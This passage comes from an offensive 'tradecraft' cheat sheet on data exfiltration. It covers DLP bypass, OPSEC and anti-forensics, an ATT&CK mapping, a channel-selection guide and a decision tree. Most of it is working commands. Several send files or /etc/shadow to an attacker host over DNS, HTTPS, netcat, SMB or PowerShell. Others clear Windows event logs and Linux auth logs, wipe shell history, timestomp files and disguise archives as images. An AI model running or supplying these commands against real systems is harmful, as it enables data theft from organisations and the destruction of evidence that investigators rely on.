    -in secret.txt \
    -out secret.enc \
    -pass pass:Sup3rS3cr3tP4ssw0rd!

# GPG:
gpg --batch --yes --passphrase "password" \
    -c --cipher-algo AES256 secret.txt
# → secret.txt.gpg

# ─── Combined: compress → encrypt → encode ───
tar -czf - /sensitive/ | \
    openssl enc -aes-256-cbc -pbkdf2 -pass pass:S3cr3t | \
    base64 > /tmp/final_exfil.b64

14. DLP Bypass Techniques

14.1 File Fragmentation

# Split file into chunks below DLP size thresholds
split -b 100k exfil.tar.gz chunk_
# Send each chunk separately via different channels or times

14.2 Encryption

# DLP can't inspect AES-encrypted content
# Encrypt before exfil → DLP sees ciphertext
openssl enc -aes-256-cbc -pbkdf2 -pass pass:key -in data.txt -out data.enc

14.3 Renaming and MIME Masquerading

# Rename .zip to .jpg — tricks extension-based DLP
mv exfil.7z update_KB4589768.jpg

# Set MIME type to match fake extension in HTTP upload
curl -X POST https://attacker.com/up \
    -H "Content-Type: image/jpeg" \
    --data-binary @exfil.7z

14.4 Steganography for DLP Bypass

# Hide data inside a real JPEG image
# DLP scans the file, sees a valid JPEG → passes
# Attacker extracts hidden data on receipt
steghide embed -cf real_photo.jpg -sf secret.zip -p "key" -o output.jpg

14.5 Protocol Abuse

# Use allowed protocols to smuggle data
# Example: embed data in DNS TXT records (usually not DLP'd)
# Example: use allowed HTTPS to cloud services (Dropbox, OneDrive)
# Example: encode data in timing of legitimate traffic (timing covert channel)

14.6 Chunked / Slow Exfil

# Send tiny amounts over a long period
# Stays below volumetric DLP thresholds
# Example: 1 KB per hour over DNS → 24 KB/day → undetected

base64 secret.txt | fold -w 32 | while read chunk; do
    dig +short "$chunk.exfil.attacker.com" > /dev/null
    sleep 3600  # 1 chunk per hour
done

15. OPSEC & Anti-Forensics

15.1 OPSEC During Exfiltration

# ─── Use TLS/HTTPS — never cleartext exfil ───
# → Prevents in-line DLP from reading content

# ─── Randomize timing — avoid regular beacon intervals ───
sleep $((RANDOM % 300 + 60))  # sleep 60-360 seconds between chunks

# ─── Use attacker infrastructure in the target's region ───
# → CDN fronting, regional AWS/Azure endpoints

# ─── Domain fronting ───
# Route C2 traffic through CDN (Cloudflare, Akamai, Azure Front Door)
# DLP sees connection to cloudflare.com, not your C2

# ─── Blend file names with existing files ───
# Bad:  cp /etc/shadow /tmp/shadow_exfil
# Good: cp /etc/shadow /tmp/.cache_v2_upd8

15.2 Clean Up After Exfil

# ─── Linux: wipe staging files ───
shred -u -z /tmp/exfil.tar.gz   # secure delete
shred -u -z /tmp/chunk_*
# Or:
rm -rf /tmp/.exfil_staging/
wipe -rf /tmp/.exfil_staging/

# ─── Clear command history ───
history -c
unset HISTFILE
export HISTSIZE=0
cat /dev/null > ~/.bash_history

# ─── Clear log entries ───
# Linux auth.log / syslog:
sed -i '/TIMESTAMP_OF_ACTIVITY/d' /var/log/auth.log
# Or nuke the log (noisy but complete):
echo > /var/log/syslog

# ─── Windows: clear event logs ───
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil el | ForEach-Object { wevtutil cl "$_" }

# ─── Windows: clear PowerShell history ───
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# ─── Windows: clear prefetch ───
Remove-Item C:\Windows\Prefetch\* -Force -ErrorAction SilentlyContinue

# ─── Timestomping (modify file timestamps to avoid timeline analysis) ───
# Linux:
touch -t 202001010000.00 /tmp/staged_file
# PowerShell:
$(Get-Item C:\Temp\exfil.7z).LastWriteTime = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\exfil.7z).CreationTime  = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\exfil.7z).LastAccessTime= "01/01/2020 00:00:00"

15.3 Traffic Blending

# ─── Mimic legitimate browser User-Agent ───
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-X POST https://attacker.com/up --data-binary @exfil.tar.gz

# ─── Add legitimate-looking Referer ───
curl -H "Referer: https://www.google.com/" \
     -H "Accept-Language: en-US,en;q=0.9" \
     -X POST https://attacker.com/up --data-binary @exfil.tar.gz

# ─── Use legitimate services as relay ───
# Upload to attacker's GitHub, Slack, Discord, OneDrive
# These domains are in most allowlists

16. MITRE ATT&CK Mapping

Technique ID Name Channel Used
T1041 Exfiltration Over C2 Channel Reuses C2 beacon (Cobalt Strike etc)
T1048 Exfiltration Over Alternative Protocol DNS / ICMP / FTP / SMB
T1048.001 Exfil Over Symmetric Encrypted Non-C2 OpenSSL tunnel, custom encryption
T1048.002 Exfil Over Asymmetric Encrypted Non-C2 HTTPS, TLS-based
T1048.003 Exfil Over Unencrypted/Obfuscated Protocol DNS, HTTP, ICMP plaintext
T1052 Exfiltration Over Physical Medium USB, BadUSB, removable media
T1052.001 Exfil Over USB USB drive copy
T1567 Exfiltration Over Web Service Cloud: S3, Dropbox, GDrive
T1567.001 Exfil to Code Repository GitHub, GitLab
T1567.002 Exfil to Cloud Storage OneDrive, Dropbox, S3
T1020 Automated Exfiltration Scripts that auto-exfil on trigger
T1030 Data Transfer Size Limits Chunking to avoid DLP thresholds
T1560 Archive Collected Data 7z, tar, zip with encryption
T1560.001 Archive via Utility zip, 7z, tar, rar
T1027 Obfuscated Files / Information Base64, XOR, steganography

17. Master Cheat Sheet

Channel Selection Guide

SCENARIO → BEST CHANNEL:
All TCP/UDP blocked, only DNS allowed?
→ DNS tunneling (dnscat2, iodine, manual)

HTTP/HTTPS allowed outbound?
→ HTTPS POST / curl / PowerShell WebClient

ICMP allowed outbound?
→ ptunnel-ng or icmpsh for covert channel

Strict DLP on all traffic?
→ Steganography inside images → upload to social media / cloud

Only internal network access, no internet?
→ SMB to internal staging box → then exfil from there
→ Air-gap if completely isolated

Blending with business traffic is priority?
→ Cloud storage (S3, OneDrive, Dropbox) via HTTPS
→ Use domain fronting through CDN

No tools allowed, only built-in OS?
→ LOLBAS: certutil / bitsadmin / PowerShell / bash /dev/tcp

Long-duration, low-volume, undetected?
→ DNS exfil with rate limiting (1 chunk/hour)
→ Timing covert channel

Quick Command Reference

# ── DNS exfil (manual) ──
cat /etc/shadow | base64 | fold -w 50 | \
    awk '{print "dig +short "$1".d.attacker.com"}' | bash

# ── DNS C2 (dnscat2) ──
dnscat2-server exfil.attacker.com                    # server
./dnscat2 --secret=key exfil.attacker.com            # client

# ── HTTP exfil (curl) ──
curl -T /tmp/exfil.tar.gz https://attacker.com/up

# ── HTTP exfil (PowerShell) ──
(New-Object Net.WebClient).UploadFile("https://attacker.com/up","C:\exfil.7z")

# ── ICMP tunnel ──
sudo ptunnel-ng -x pass                              # server
sudo ptunnel-ng -p <ATTACKER_IP> -lp 8080 -da <TARGET> -dp 22 -x pass  # client

# ── SMB exfil ──
impacket-smbserver share /tmp/loot -smb2support      # server
copy C:\secret.txt \\<ATTACKER_IP>\share\            # victim

# ── Netcat exfil ──
nc -lvnp 4444 > received.tar.gz                      # server
cat exfil.tar.gz | nc <ATTACKER_IP> 4444             # victim

# ── S3 exfil ──
aws s3 cp /tmp/exfil.tar.gz s3://bucket/exfil.tar.gz

# ── Steghide ──
steghide embed -cf photo.jpg -sf secret.zip -p key
steghide extract -sf photo.jpg -p key

# ── Encrypt + compress + encode ──
tar -czf - /data/ | openssl enc -aes-256-cbc -pbkdf2 -pass pass:key | base64

Decision Tree

Need to exfiltrate data?  
│  
├── What network restrictions exist?  
│ ├── Only DNS → dnscat2 / iodine / manual DNS exfil  
│ ├── HTTP/S allowed → curl POST / PowerShell / C2 channel  
│ ├── ICMP allowed → ptunnel-ng / icmpsh  
│ ├── SMB allowed (internal) → impacket-smbserver + copy  
│ └── Nothing outbound → physical / air-gap techniques  
│  
├── Is DLP active?  
│ ├── YES → encrypt before sending + fragment + rename  
│ │ use steganography to hide in images  
│ │ use allowed cloud storage (OneDrive, Dropbox)  
│ └── NO → standard tools fine, still use HTTPS  
│  
├── Avoid attribution?  
│ ├── Use domain fronting → C2 via CDN  
│ ├── Use cloud services → traffic blends in  
│ ├── Randomize timing → avoid pattern detection  
│ └── Delete staging files + clear logs after  
│  
├── Large data volume?  
│ ├── Compress first: tar + xz  
│ ├── Encrypt: openssl aes-256  
│ ├── Split into chunks below DLP thresholds  
│ └── Use C2 channel download command (Cobalt Strike / Sliver)  
│  
└── Small + covert?  
├── DNS TXT record tunneling  
├── ICMP payload embedding  
├── HTTP header encoding  
└── Steganography in image → post to social media

← Tradecraft top ↑